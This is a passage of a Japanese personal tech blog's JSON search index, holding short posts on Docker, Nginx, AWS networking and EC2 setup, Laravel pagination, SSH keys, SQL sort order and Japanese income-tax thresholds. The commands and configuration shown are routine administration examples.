イメージに含めたくないファイルは.dockerignoreに書く。\nビルドには不必要なファイルを除外することで、ビルド時間の短縮になる。\n.git node_modules .nuxt Dockerコンテナの起動 最後に、Dockerコンテナをビルドして起動する。\ndocker-compose up -d --build コンテナが起動したら、ブラウザでlocalhost:3000にアクセス。\nこれで、Nuxtプロジェクトが動作していればOK。\n","permalink":"https://pop-web.github.io/programming/vue-js/nuxt-js-ssr-docker-compose-deploy/","summary":"\u003cp\u003eNuxtプロジェクト（SSRモード）をDocker Composeを使って起動させる方法を説明する。\u003c/p\u003e\n\u003cp\u003e今回は、Nuxtプロジェクト直下に\u003ccode\u003eDockerfile\u003c/code\u003eと\u003ccode\u003edocker-compose.yml\u003c/code\u003eを置く。\u003c/p\u003e","title":"Nuxt.js（SSRモード）をDocker Composeでdeployする"},{"content":"VPNとは VPNとは、インターネット上に仮想的な専用線を構築することで、安全な通信でデータのやりとりをできるようにした技術。（「Virtual Private Network」の略称）\nまた、インターネットといったパブリックなネットワークを利用して、プライベートなネットワークを構築するため構築コストを抑えることができる。\n公共の無料Wi-Fiで安全に通信を行う 公共の無料Wi-Fiは、パスワード保護や通信の暗号化がされていない場合がある。\nそのため、通信中に個人情報や機密情報が盗聴される危険性がある。\nVPNの技術でこれらの危険性を回避できる。\nVPNではトンネリングと通信パケットの暗号化を行うことで、無料Wi-Fiでも安全に通信することができる。\n","permalink":"https://pop-web.github.io/network/vpn/","summary":"\u003ch2 id=\"vpnとは\"\u003eVPNとは\u003c/h2\u003e\n\u003cp\u003eVPNとは、インターネット上に仮想的な専用線を構築することで、安全な通信でデータのやりとりをできるようにした技術。（「Virtual Private Network」の略称）\u003c/p\u003e","title":"VPNとは？無料公共Wi-Fi接続でも安全に利用する"},{"content":"SQLやプログラミングで並び替えするときなど、昇順、降順をいった言葉よく出てくる。\nでも、どっちがどっちだったけ？ということはよくあるので、その覚え方を説明する。\n昇順と降順のそもそもの意味について まず、昇順と降順の意味から。\n昇順は「小さい順」のこと 数値なら「1、2、3、4…」、日付なら「2020/1/1、2020/1/2、2020/1/3…」といった感じ。\n降順は「大きい順」のこと 数値なら「4、3、2、1…」、日付なら「2020/1/3、2020/1/2、2020/1/1…」といった感じ。\n覚え方 昇順は、「昇っていく」というイメージで覚える。「昇っていく」ので小さい値から大きい値へ増えていくと覚えればよい。\n降順は、「降りていく」というイメージで覚える。「降りていく」ので大きい値から小さい値へ減っていくと覚えればよい。\nasc,descの意味について SQLなどで昇順や降順は英語で指定することが大概で、asc,descがよく使われる。\nascは**「ascending order」**の略で、昇順の意味。\ndescは**「descending order」**の略で、降順の意味。\n覚え方は、ascは「a」から始まって「c」で終わるので「a、b、c…」ということで昇順。\ndescは**「d」から始まって「c」で終わるので「d、c、b、a…」ということで降順**。\n","permalink":"https://pop-web.github.io/programming/db/asc-desc/","summary":"\u003cp\u003eSQLやプログラミングで並び替えするときなど、昇順、降順をいった言葉よく出てくる。\u003c/p\u003e\n\u003cp\u003eでも、どっちがどっちだったけ？ということはよくあるので、その覚え方を説明する。\u003c/p\u003e","title":"昇順と降順の覚え方とasc,descの意味について"},{"content":"さくらのVPSへNginxでWebサーバを構築し、WordPressをインストールして新しい記事を投稿しようとしたら**「返答が正しいJSON レスポンスではありません。」**のエラーが出た。\n環境は以下\nさくらのVPS CentOS 7 Nginx 1.17 PHP 7.4 MariaDB ※Webサーバ環境構築については、【さくらVPS】CentOS7+Nginx+PHP7+MariaDBの環境構築を参照。\n原因について 調べてみると、管理画面の「設定」→「パーマリンク設定」で共通設定を基本以外を選択しているとエラーがでるが、基本にするとちゃんと投稿される。\nこれはNginxのデフォルトの設定だと、パーマリンクのURL変更が出来ないこと原因らしい。\nNginxの設定を変更することで解決 Nginxの設定ファイルである/etc/nginx/conf.d/default.confを以下のように変更することで解決できる。\n※各自default.confの設定が異なる場合があるので、以下の内容を使用する場合は、各自の環境に合わせていく必要がある。\nserver { listen 80; server_name { ドメイン名 }; root /home/www/{ ドメイン名 }/wordpress; index index.php charset utf-8; location / { try_files $uri $uri/ @wordpress; } location ~ \\.php$ { try_files $uri @wordpress; fastcgi_index index.php; fastcgi_split_path_info ^(.+\\.php)(.*)$; fastcgi_pass 127.0.0.1:9000; fastcgi_param SCRIPT_FILENAME /home/www/{ ドメイン名 }/wordpress$fastcgi_script_name; include fastcgi_params; } location @wordpress { fastcgi_index index.php; fastcgi_split_path_info ^(.+\\.php)(.*)$; fastcgi_pass 127.0.0.1:9000; fastcgi_param SCRIPT_FILENAME /home/www/{ ドメイン名 }/wordpress/index.php; include fastcgi_params; } error_page 404 /404.html; location = /40x.html { } error_page 500 502 503 504 /50x.html; location = /50x.html { } } ","permalink":"https://pop-web.github.io/programming/wordpress-nginx-permalink/","summary":"\u003cp\u003eさくらのVPSへNginxでWebサーバを構築し、WordPressをインストールして新しい記事を投稿しようとしたら**「返答が正しいJSON レスポンスではありません。」**のエラーが出た。\u003c/p\u003e","title":"WordPress「返答が正しいJSON レスポンスではありません。」の原因はNginxのパーマリンクが変更不可のため"},{"content":"固定IPアドレスとは？ 固定IPアドレスとは、切断、再接続を繰り返しても、毎回同じIPアドレスが割り当てられるグローバルIPアドレスのこと。\n一般的に家庭用に提供されるインターネット接続サービスでは、接続のたびにプロバイダーがIPアドレスを割り当てられる。そのため、IPアドレスが変動します。\nこれを動的IPアドレスや変動IPアドレスとも呼ぶ。\nプロバイダー契約のオプションとして固定IPアドレスにすることができるが、その分利用料金がかかる場合がほとんど。\n固定IPアドレスの必要性について 固定IPアドレスの必要性について、以下に例をあげる。\nIPが固定となるので、インターネット上に自前のWEBサーバを構築しサービスを提供できるようになる。 リモートワークの際にセキュリティ上、特定のIPアドレスから会社のサーバに接続できないようにしている場合、固定IPアドレスを知らせる必要性がでる。 Webカメラを設置し遠隔でモニタリングしたい場合、固定IPアドレスが必要になる。 固定IPアドレスを利用する方法 固定IPアドレスを利用する方法として、ざっくり2つの方法がある。\nプロバイダーのオプションサービスを使う VPNサービスを使う ","permalink":"https://pop-web.github.io/network/fixed-ip-address/","summary":"\u003ch2 id=\"固定ipアドレスとは\"\u003e固定IPアドレスとは？\u003c/h2\u003e\n\u003cp\u003e固定IPアドレスとは、切断、再接続を繰り返しても、\u003cstrong\u003e毎回同じIPアドレスが割り当てられるグローバルIPアドレスのこと。\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003e一般的に家庭用に提供されるインターネット接続サービスでは、接続のたびにプロバイダーがIPアドレスを割り当てられる。そのため、IPアドレスが変動します。\u003c/p\u003e","title":"固定IPアドレスとは？必要性と利用方法について"},{"content":"まず、前提として給与所得者（会社員・バイト・パート等）を対象にそれぞれの壁についての説明をする。\n給与所得者でない場合、給与所得控除の65万円を差し引くことがなくなるので、計算が異なるので注意。\nつまり、個人で事業をしている場合（アフィリエイト、物販など）、給与所得控除を差し引くことができない。\n103万の壁ついて 103万の壁とは、給与の年収が103万を超えると所得税が発生するよの壁。\n税金の壁とも言われる。\nなぜ103万なのか？ 所得税を計算する際に収入から引く控除があります。\nまず、全ての人が控除できる基礎控除額として38万円。\n給与所得者が控除できる給与所得控除が65万円。\n合計すると103万円となります。\n所得税は103万円を超えた分が対象となるため、103万を超えない限り所得税を払う必要がなくなる。\nまた、配偶者の年収103万円以下であれば納税者の所得から配偶者控除が適用することができる。\n例えば、パートをしている妻の夫である納税者場合、配偶者控除38万円を収入から差し引くことができる。\nさらに、配偶者の年収が103万を超えても、それが141万円未満であり、かつ納税者の所得金額が1000万円以下の場合は配偶者特別控除が適用になる。\nこの配偶者特別控除の金額は配偶者の所得金額に応じて異なる。配偶者の収入が上がるに反比例して控除金額も38万円から徐々に減っていく。\n税法改正で150万円の壁 しかし、2018年の税法改正で配偶者控除に関しての103万の壁はなくなることとなった。\nあらたに、**「150万円の壁」**が出現することとなった。\n税法改正により配偶者の年収が150万円以下でも、納税者は38万円の控除を適用できるようになった。また、配偶者特別控除も141万円未満から201万円未満へ変わった。\n留意しておきたいのは、配偶者控除が適用される年収は引き伸ばされたが、年収103万円を超えると所得税が課せれられることは変わりがないこと。\n130万の壁ついて 130万の壁とは、給与の年収が130万を超えると夫の扶養からはずれて、自分で国民年金、国民健康保険を払う必要になるよの壁。社会保険の壁とも言われる。\n社会保険とは大体の場合、国民年金、国民健康保険の2つのことを指す。\n130万を超える見込みの場合は、会社に社会保険に加入できるか事前に相談することをおすすめする。\n","permalink":"https://pop-web.github.io/tax/103-130-wall/","summary":"\u003cp\u003eまず、前提として\u003cstrong\u003e給与所得者（会社員・バイト・パート等）を対象\u003c/strong\u003eにそれぞれの壁についての説明をする。\u003c/p\u003e\n\u003cp\u003e給与所得者でない場合、\u003cstrong\u003e給与所得控除の65万円を差し引くことがなくなる\u003c/strong\u003eので、計算が異なるので注意。\u003c/p\u003e","title":"バイトやパートの103万の壁と130万の壁ついて"},{"content":"SSH公開鍵認証について 公開鍵認証は通常のパスワード認証よりも、安全にsshのログインができる認証方法\n鍵は2つ必要（秘密鍵・公開鍵） 秘密鍵ファイルはローカルにおく（人に知られてはダメ） 公開鍵ファイルはサーバが側におく（人に知られても良い） 秘密鍵を持っていないパソコンからはログイン接続できない。 SourceTreeでSSH keysの生成 SourceTreeを起動する\n[ツール] で、[SSH キーの作成またはインポート] を選択する。 [PuTTY キー ジェネレーター] ダイアログで、[Generate] をクリック マウスポインタを空白領域で適当に動かして、SSH キーの生成する。 [Key passphrase] と [Confirm passphrase] は空のまま [Save public key] （公開鍵）と[Save private key]（秘密鍵） をクリックして、それぞれ保存する 。 公開鍵には、ファイルに \u0026ldquo;.pub\u0026rdquo; ファイル拡張子をつける。 保存先は慣例的に「C:¥Users¥{ユーザー名}¥.ssh」へ SSHエージェントに登録 タスクトレイに「Pageant」というものがあるので、それをダブルクリック。 Pageant Key Listが開かれるので、【Add Key】を選択。 作成した秘密鍵「〇〇.ppk」を選択。 キーの詳細が表示されたら【Close】で閉じる。 Gitホスティングサービスに公開鍵の登録 作成した公開鍵をGitHubなどのホスティングサービスに登録する。\nSourceTreeでpullやpushができるか確認する。\n","permalink":"https://pop-web.github.io/server/linux/ssh-for-windows/","summary":"\u003ch1 id=\"ssh公開鍵認証について\"\u003eSSH公開鍵認証について\u003c/h1\u003e\n\u003cp\u003e公開鍵認証は通常のパスワード認証よりも、安全にsshのログインができる認証方法\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003e鍵は2つ必要\u003c/strong\u003e（秘密鍵・公開鍵）\u003c/li\u003e\n\u003cli\u003e秘密鍵ファイルはローカルにおく（人に知られてはダメ）\u003c/li\u003e\n\u003cli\u003e公開鍵ファイルはサーバが側におく（人に知られても良い）\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003e秘密鍵を持っていないパソコンからはログイン接続できない\u003c/strong\u003e。\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch1 id=\"sourcetreeでssh-keysの生成\"\u003eSourceTreeでSSH keysの生成\u003c/h1\u003e\n\u003cp\u003eSourceTreeを起動する\u003c/p\u003e","title":"SSHキーの作成手順（for Windows）"},{"content":"EXPOSE 5000 DockerfileのEXPOSEに外部に公開するポートを記述するが、これを記述することで実際にポートをあけて公開するわけではない。\n開発者がDockerfileを見たときに「コンテナ起動時にどのポートを使用するのか」を確認するためものであり、公開されると想定されるポートを記述しているだけである。\n実際にコンテナ起動時にポートを外部へ公開する場合は、docker run に-pオプションを使う。\ndocker run -p 5000:5000 sample-image また、-Pオプションをつけた場合は全ポート公開となる。\ndocker run -P sample-image ","permalink":"https://pop-web.github.io/server/dockerfile-expose/","summary":"\u003cpre tabindex=\"0\"\u003e\u003ccode\u003eEXPOSE 5000\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003eDockerfileのEXPOSEに外部に公開するポートを記述するが、これを記述することで\u003cstrong\u003e実際にポートをあけて公開するわけではない。\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003e開発者がDockerfileを見たときに「コンテナ起動時にどのポートを使用するのか」を確認するためものであり、公開されると想定されるポートを記述しているだけである。\u003c/p\u003e","title":"DockerfileのEXPOSE命令は実際にポートをあけない"},{"content":"IT用語としてトランザクションとは、複数の処理をまとめて処理すること。\nこの処理のことのことを。トランザクション処理とも呼ぶ。\nなぜ複数の処理をひとまとめに考えるかというと、複数の処理であるトランザクションを実行中に1つでも処理に失敗した場合、それまでに行ってきた処理をすべて無かったことにするためである。\n例えば、会社のデーターベースに社員を登録する際に、社員テーブルに社員名を登録し、所属部署テーブルに所属部署を登録する一連の処理があったとする。\n社員テーブルに社員名を登録した後に、所属部署テーブルへ所属部署を登録する際に障害が起きて所属部署が登録できなかった場合、無所属の社員が存在することとなり中途半端な状態になる。\nこれを防ぐためにトランザクション処理が用いられる。\nちなみに、トランザクション実行前に戻すことを「ロールバック」といい、トランザクション処理が全て成功して処理内容を確定することを「コミット」という。\n","permalink":"https://pop-web.github.io/programming/db/transaction/","summary":"\u003cp\u003eIT用語としてトランザクションとは、\u003cstrong\u003e複数の処理をまとめて処理すること。\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003eこの処理のことのことを。トランザクション処理とも呼ぶ。\u003c/p\u003e\n\u003cp\u003eなぜ複数の処理をひとまとめに考えるかというと、\u003cstrong\u003e複数の処理であるトランザクションを実行中に1つでも処理に失敗した場合、それまでに行ってきた処理をすべて無かったことにするためである。\u003c/strong\u003e\u003c/p\u003e","title":"IT用語におけるトランザクションとは？"},{"content":"docker-composeコマンドのrunとexecの大まかな違いについて説明。\nrun コンテナを起動し、コマンドを実行できる。\n起動していないコンテナに実行することができる。\n例 docker-compose run app ash exec 起動中のコンテナに対して、コマンドを実行できる。\n起動していないコンテナには実行できないが、runよりも高速に動作する。\n例 docker-compose exec app ash ","permalink":"https://pop-web.github.io/server/docker-compose-run-exec/","summary":"\u003cp\u003edocker-composeコマンドのrunとexecの大まかな違いについて説明。\u003c/p\u003e\n\u003ch2 id=\"run\"\u003erun\u003c/h2\u003e\n\u003cp\u003eコンテナを起動し、コマンドを実行できる。\u003c/p\u003e\n\u003cp\u003e起動していないコンテナに実行することができる。\u003c/p\u003e","title":"docker-compose runとdocker-compose execの違い"},{"content":"源泉徴収とは、会社員の毎月の給与から所得税を事前に差し引くこと。\nなので、源泉徴収を会社がやってくれるので会社員は確定申告をしなくて良い。\n所得税は、最終的にその年の収入が決定するまで算出することはできないため、毎月の給与から概算で差し引く。\nそして、年末時期に会社が再計算をを行う（年末調整）。\n所得税を多く払いすぎていた場合は返金される。\n","permalink":"https://pop-web.github.io/tax/withholding-tax/","summary":"\u003cp\u003e源泉徴収とは、\u003cstrong\u003e会社員の毎月の給与から所得税を事前に差し引くこと。\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003eなので、源泉徴収を会社がやってくれるので会社員は確定申告をしなくて良い。\u003c/p\u003e\n\u003cp\u003e所得税は、最終的にその年の収入が決定するまで算出することはできないため、毎月の給与から概算で差し引く。\u003c/p\u003e","title":"源泉徴収とは"},{"content":"Docker等を使っていて以下のようなエラーが出る場合がある。\nERROR: for web Cannot start service web: Ports are not available: listen tcp 0.0.0.0:80: bind: address already in use そんな場合、以下のコマンドでLISTENしているポートを確認できる。\nlsof -i -n -P | grep \u0026#34;LISTEN\u0026#34; ","permalink":"https://pop-web.github.io/server/linux/port/","summary":"\u003cp\u003eDocker等を使っていて以下のようなエラーが出る場合がある。\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003eERROR: for web Cannot start service web: Ports are not available: listen tcp 0.0.0.0:80: bind: address already in use\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003eそんな場合、以下のコマンドでLISTENしているポートを確認できる。\u003c/p\u003e","title":"プログラムがどのポート番号を使っているか確認のLinuxコマンド"},{"content":"EC2はAWSの中でも基本的なサービスで、簡単に仮想サーバーを構築することができる。\nEC2インスタンスの作成 EC2のダッシュボードのメニューからインスタンスを選択し、インスタンスの作成をクリック。\nステップ 1 AMIの選択は、クイックスタートの中のAmazon Linux 2 AMIを選択。\nステップ 2 インスタンスタイプの選択では、無料利用枠の対象の「t2.micro」を選択。\nステップ 3 インスタンスの詳細の設定では、ネットワークでは作成したVPCを選択（例：aws-vpc）\nサブネットも作成したパブリックサブネットを選択（例：aws-public-subnet-1a）\n自動割り当てパブリック IPは、グローバルIPアドレスを割り当てるかの設定。今回は有効にしておく。\nキャパシティーの予約は料金がかかるのでなしにしておく。\nネットワークインターフェイスでは、プライベートIPアドレスも割り当てておく。\nサブネットの範囲内のIPアドレスを設定しておく（例：192.168.10.10）\nステップ 4 ストレージの追加では、ボリュームタイプを汎用SSDを選択。\nステップ 5 タグの追加では、好きな名前をつけておく（例：キーに「Name」、値に「aws-web」）\nステップ 6 セキュリティグループの設定では、新しいセキュリティグループを作成するを選択し、セキュリティグループ名は好きな名前を入力（例：aws-web）\n確認し、起動ボタンをクリック。\nこれで、EC2が起動する。\n最後にキーペアを作成できるので、適宜PCに保存しておく。\nキーペアは、EC2に接続する際に必要なものなのでわかるところに保存しておく。\n","permalink":"https://pop-web.github.io/server/aws-ec2/","summary":"\u003cp\u003eEC2はAWSの中でも基本的なサービスで、簡単に仮想サーバーを構築することができる。\u003c/p\u003e\n\u003ch2 id=\"ec2インスタンスの作成\"\u003eEC2インスタンスの作成\u003c/h2\u003e\n\u003cp\u003eEC2のダッシュボードのメニューからインスタンスを選択し、インスタンスの作成をクリック。\u003c/p\u003e","title":"【AWS】EC2の作成"},{"content":"パブリックサブネットとプライベートサブネットについて AWSにおいて、パブリックサブネットはインターネットと接続できるサブネットで、プライベートサブネットはインターネットは接続できないサブネット。\nパブリックサブネットはIGW（インターネットゲートウェイ）にルーティング設定することで作成することできる。\nVPCを作成 まず、右上のメニューで東京リージョンが選択されていることを確認。\nVPCダッシュボードのメニューでVPCをクリック。そして「VPCの作成」をクリック。\n名前タグは、好きな名前を入力（例：aws-vpc）\nIPv4 CIDR ブロックはプライベートIPアドレスの範囲内からCIDRブロック形式で設定する（例：192.168.0.0/16）\n「作成」をクリックして作成。\nサブネットの作成 VPCダッシュボードのメニューでサブネットをクリック。そして「サブネットの作成」をクリック。\nパブリックサブネット作成 名前タグは、好きな名前を入力するがパブリックサブネットをわかるようにしておく（例：aws-public-subnet-1a）\nVPCは先程作成したVPCを選択\nアベイラビリティーゾーンは、好きなものを選択（例：ap-northeast-1a）\nIPv4 CIDR ブロックには、VPC範囲内のIPアドレスをCIDRブロック形式で設定する（例：192.168.10.0/24）\nプライベートサブネット作成 こちらも名前タグは、好きな名前を入力するがパブリックサブネットをわかるようにしておく（例：aws-private-subnet-1a）\nVPCとアベイラビリティーゾーンは先程作成したパブリックサブネットと同じ設定で。\nIPv4 CIDR ブロックには、VPC範囲内のIPアドレスをCIDRブロック形式で設定する（例：192.168.20.0/24）\nインターネットゲートウェイを作成 メニューがインタネットゲートウェイをクリックして、「インターネットゲートウェイの作成」をクリック。\n名前タグは、好きな名前を入力（例：aws-igw）\n「作成」をクリック。\nVPCにアタッチ 作成したインタネットゲートウェイを選択して、「アクション」から「VPCにアタッチ」をクリック。\nVPCには作成しているVPC（aws-vpc）を選択して「アタッチ」をクリック。\nルーティングの設定 ルーティングでパブリックサブネットとインターネットゲートウェイを紐付ける。\nメニューのルートテーブルから「ルートテーブルの作成」をクリック。\n名前タグは、好きな名前を入力（例：aws-public-routing）\nVPCには作成しているVPC（aws-vpc）を選択\n作成したルートテーブルを選択して、「アクション」から「サブネットの関連付けの編集」をクリック。\nパブリックサブネットを選択して「保存」をクリック。\n次にデフォルトルート（0.0.0.0/0）をインターネットゲートウェイへ設定する。\n作成したルートテーブルを選択して、「アクション」から「ルートの編集」をクリック。\n「ルートの追加」で送信先を「0.0.0.0/0」、ターゲットをインタネットゲートウェイの選択して「保存」をクリック。\n以上で、インターネットに接続できるパブリックサブネットとインターネットに接続できないプライベートサブネットが完成。\n","permalink":"https://pop-web.github.io/server/public-private-subnet/","summary":"\u003ch2 id=\"パブリックサブネットとプライベートサブネットについて\"\u003eパブリックサブネットとプライベートサブネットについて\u003c/h2\u003e\n\u003cp\u003eAWSにおいて、パブリックサブネットはインターネットと接続できるサブネットで、プライベートサブネットはインターネットは接続できないサブネット。\u003c/p\u003e","title":"【AWS】パブリックサブネットとプライベートサブネットの作成"},{"content":"DockerでLaravel開発環境を構築時にLaravel Mixを使おうと、npm installした時に以下エラー発生。\nError: pngquant failed to build, make sure that libpng-dev is installed 以下のパッケージをインストールすると解決。\nyum install -y bash gcc make libpng-devel Dockerfileに追記して再度buildすればよい。\nまたは、docker execかなんかでコンテナのシェルに接続して上記のコマンドを直接打ち込んでインストールするか。\n","permalink":"https://pop-web.github.io/server/linux/npm-insall-error-pngquant-failed-to-build/","summary":"\u003cp\u003eDockerでLaravel開発環境を構築時にLaravel Mixを使おうと、\u003ccode\u003enpm install\u003c/code\u003eした時に以下エラー発生。\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003eError: pngquant failed to build, make sure that libpng-dev is installed\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e以下のパッケージをインストールすると解決。\u003c/p\u003e","title":"npm insallすると\"Error: pngquant failed to build, make sure that libpng-dev is installed\""},{"content":"プライベートIPアドレスは、社内ネットワークで使用されるIPアドレスのこと。\n以下の範囲で社内ネットワーク内の端末へ自由に割り当てることができる。\n10.0.0.0～10.255.255.255 172.16.0.0～172.31.255.255 192.168.0.0～192.168.255.255 ","permalink":"https://pop-web.github.io/network/ip-address/","summary":"\u003cp\u003eプライベートIPアドレスは、社内ネットワークで使用されるIPアドレスのこと。\u003c/p\u003e\n\u003cp\u003e以下の範囲で社内ネットワーク内の端末へ自由に割り当てることができる。\u003c/p\u003e","title":"プライベートIPアドレスについて"},{"content":"Laravelでpaginateを1つのページで複数設置すると、ページングするに際にすべてが同時にページングされてしまう。\n以下のようにすると、paginateの第3引数に設定したパラメータでそれぞれでリクエストがなされる。\npublic function show(Request $request) { $tags = Tag::paginate(10, [\u0026#39;*\u0026#39;], \u0026#39;tags\u0026#39;); $comments = Comments::paginate(10, [\u0026#39;*\u0026#39;], \u0026#39;comments\u0026#39;); return view(\u0026#39;show.index\u0026#39;, compact(\u0026#39;tags\u0026#39;,\u0026#39;comments\u0026#39;)); } /show?page=2だったものが、/show?tags=2と/show?comments=2とで分けられて同時にページングがされなくなる。\nページングする際に、どちらのパラメータも残しつつページングを行いたい場合は、\n以下のようにappendsを使うとよい。\npublic function show(Request $request) { $tags = Tag::paginate(10, [\u0026#39;*\u0026#39;], \u0026#39;tags\u0026#39;)-\u0026gt;appends([\u0026#34;comments\u0026#34; =\u0026gt; $request-\u0026gt;input(\u0026#39;comments\u0026#39;)]); $comments = Comments::paginate(10, [\u0026#39;*\u0026#39;], \u0026#39;comments\u0026#39;)-\u0026gt;appends([\u0026#34;tags\u0026#34; =\u0026gt; $request-\u0026gt;input(\u0026#39;tags\u0026#39;)]); return view(\u0026#39;show.index\u0026#39;, compact(\u0026#39;tags\u0026#39;,\u0026#39;comments\u0026#39;)); } これで両方でページングを行なっても、/show?tags=2\u0026amp;comments=2となりそれぞれのページング状態が保持される。\n","permalink":"https://pop-web.github.io/programming/laravel/laravel-multiple-paginate/","summary":"\u003cp\u003eLaravelでpaginateを1つのページで複数設置すると、ページングするに際にすべてが同時にページングされてしまう。\u003c/p\u003e\n\u003cp\u003e以下のようにすると、paginateの第3引数に設定したパラメータでそれぞれでリクエストがなされる。\u003c/p\u003e","title":"Laravelで1ページ内に複数のpaginateを分けてページング方法"},{"content":"リージョンとは AWSのサービスが展開されている地域のこと。\n日本には東京リージョン。アメリカにはオハイオリージョン、オレゴンリージョンなどがある。\nアベイラビリティーゾーンとは リージョンの中にあるデータセンターの集合のこと。物理的に独立していて複数存在する。\nサーバをたてる時には、複数の異なるアベイラビリティーゾーンにたてることによって冗長化させる。\nVPCとは VPC（Virtual Private Cloud）は、AWSサービスの1つで仮想ネットワークを構築できる。\nVPCの中でさらにネットワークを分けるにはサブネットで区切り、サブネットの中にサーバを配置する。\nまた、サブネットは複数のアベイラビリティーゾーンで構築することで冗長化構成にすることができる。\n","permalink":"https://pop-web.github.io/server/regions-availability-zone-vpc/","summary":"\u003ch2 id=\"リージョンとは\"\u003eリージョンとは\u003c/h2\u003e\n\u003cp\u003eAWSのサービスが展開されている地域のこと。\u003c/p\u003e\n\u003cp\u003e日本には東京リージョン。アメリカにはオハイオリージョン、オレゴンリージョンなどがある。\u003c/p\u003e\n\u003ch2 id=\"アベイラビリティーゾーンとは\"\u003eアベイラビリティーゾーンとは\u003c/h2\u003e\n\u003cp\u003eリージョンの中にあるデータセンターの集合のこと。物理的に独立していて複数存在する。\u003c/p\u003e","title":"【AWS】リージョンとアベイラビリティーゾーンとVPCについて"},{"content":"CloudTrailとは CloudTrailは、「いつどのユーザがどんな動作をしたか？」といった操作ログを記録するサービス。\n特徴 デフォルトで有効になっている。 デフォルトでの有効の場合、保存期間は過去90日。 90日以上保存したい場合は、S3に保存させるように設定する。 CloudTrail自体に料金は発生しないが、S3へ保存する場合はS3の料金がかかる。 設定方法 基本的なCloudTrail設定を新規作成する場合について説明する。\nCloudTrailのダッシュボードで「証跡の作成」をクリック。 証跡名に好きな名前を入力。証跡情報を全てのリージョンに適用は、「はい」にしておく。 読み込み/書き込みイベントは、「はい」にしておく。 Log Insights イベントは、「いいえ」にしておく。 データイベントでは、S3に保存する場合、「アカウントのすべての S3 バケットの選」をのチェックボックスを選択しておく 新しい S3 バケットを作成しますか「はい」にして、S3 バケットには好きな名前を入力。 最後に「作成」をクリック。 ログの履歴は、ダッシュボードのメニュー「イベント履歴」で確認できる。\n","permalink":"https://pop-web.github.io/server/aws-cloudtrail/","summary":"\u003ch2 id=\"cloudtrailとは\"\u003eCloudTrailとは\u003c/h2\u003e\n\u003cp\u003eCloudTrailは、\u003cstrong\u003e「いつどのユーザがどんな動作をしたか？」といった操作ログを記録するサービス。\u003c/strong\u003e\u003c/p\u003e\n\u003ch2 id=\"特徴\"\u003e特徴\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eデフォルトで有効になっている。\u003c/li\u003e\n\u003cli\u003eデフォルトでの有効の場合、保存期間は過去90日。\u003c/li\u003e\n\u003cli\u003e90日以上保存したい場合は、S3に保存させるように設定する。\u003c/li\u003e\n\u003cli\u003eCloudTrail自体に料金は発生しないが、\u003cstrong\u003eS3へ保存する場合はS3の料金がかかる。\u003c/strong\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2 id=\"設定方法\"\u003e設定方法\u003c/h2\u003e\n\u003cp\u003e基本的なCloudTrail設定を新規作成する場合について説明する。\u003c/p\u003e","title":"【AWS】CloudTrailとは？設定方法について"},{"content":"docker-compseコマンドの「up」「run」「start」の違いがよく分かっていなくて、ちゃんと調べてみた。\nそしたら、以下の日本語版のドキュメントで詳しく解説してくれていた。\nup ・ run ・ start の違いは何ですか？\n","permalink":"https://pop-web.github.io/server/docker-compose-up-run-start/","summary":"\u003cp\u003edocker-compseコマンドの「up」「run」「start」の違いがよく分かっていなくて、ちゃんと調べてみた。\u003c/p\u003e\n\u003cp\u003eそしたら、以下の日本語版のドキュメントで詳しく解説してくれていた。\u003c/p\u003e","title":"docker-composeの「up」「run」「start」の違い"},{"content":"AWSとは AWSは、Amazon Web Services（アマゾン ウェブ サービス）のこと。\nAmazonが提供しているクラウドコンピューティングサービス。\nその中でもインフラ（サーバやネットワーク）を扱っており、IaaS（Infrastructure as a Service）という分類がされる。\nちなみに、**IaaSは「イアース」**と読む。\n他にもSaasとかPaasなどがある。\nクラウドとは クラウドとはクラウドコンピューティングサービスのこと。\nインターネット越しに利用できるサービスのこと。\nAWSでは、インターネット上で仮想的にサーバやネットワークを構築することができるため、必要な分のリソースを必要な時にだけ利用できるメリットがある。\nクラウドとは逆にオンプレミスというものある。\nオンプレミスは、自社でサーバやネットワークを用意して利用すること。\nオンプレミスは、初期コストがかかりやすく、必要な時にリソースを増やしにくいということがあげられる。\n","permalink":"https://pop-web.github.io/server/aws%E3%81%A8%E3%81%AF%EF%BC%9F%E3%82%AF%E3%83%A9%E3%82%A6%E3%83%89%E3%81%A8%E3%81%AF%EF%BC%9F/","summary":"\u003ch2 id=\"awsとは\"\u003eAWSとは\u003c/h2\u003e\n\u003cp\u003eAWSは、\u003cstrong\u003eAmazon Web Services\u003c/strong\u003e（アマゾン ウェブ サービス）のこと。\u003c/p\u003e\n\u003cp\u003eAmazonが提供しているクラウドコンピューティングサービス。\u003c/p\u003e\n\u003cp\u003eその中でもインフラ（サーバやネットワーク）を扱っており、IaaS（Infrastructure as a Service）という分類がされる。\u003c/p\u003e","title":"AWSとは？クラウドとは？"},{"content":"所得税を決めるにはまず、所得を計算する。\n所得は、売上から経費を引く。\n所得 = 売上 - 経費 売上は、商品やスキルを売ってダイレクトに入ってくるお金。\n経費は、売上をあげるために必要なお金。\n次に、所得から控除を引く。\n課税所得 = 所得 - 控除 控除は、子供がいたら扶養控除、保険を支払っていたら社会保険控除などがあり、所得から差し引く。\nこの差し引いたものが**「課税所得」**というもになる。\n課税所得に所得税率をかけることで、自分が支払う所得税額が分かる。\n所得税額 = 課税所得 × 所得税率 所得税率は、国税庁のホームページで確認できる。\n","permalink":"https://pop-web.github.io/tax/shotokuzei/","summary":"\u003cp\u003e所得税を決めるにはまず、所得を計算する。\u003c/p\u003e\n\u003cp\u003e所得は、売上から経費を引く。\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003e所得 = 売上 - 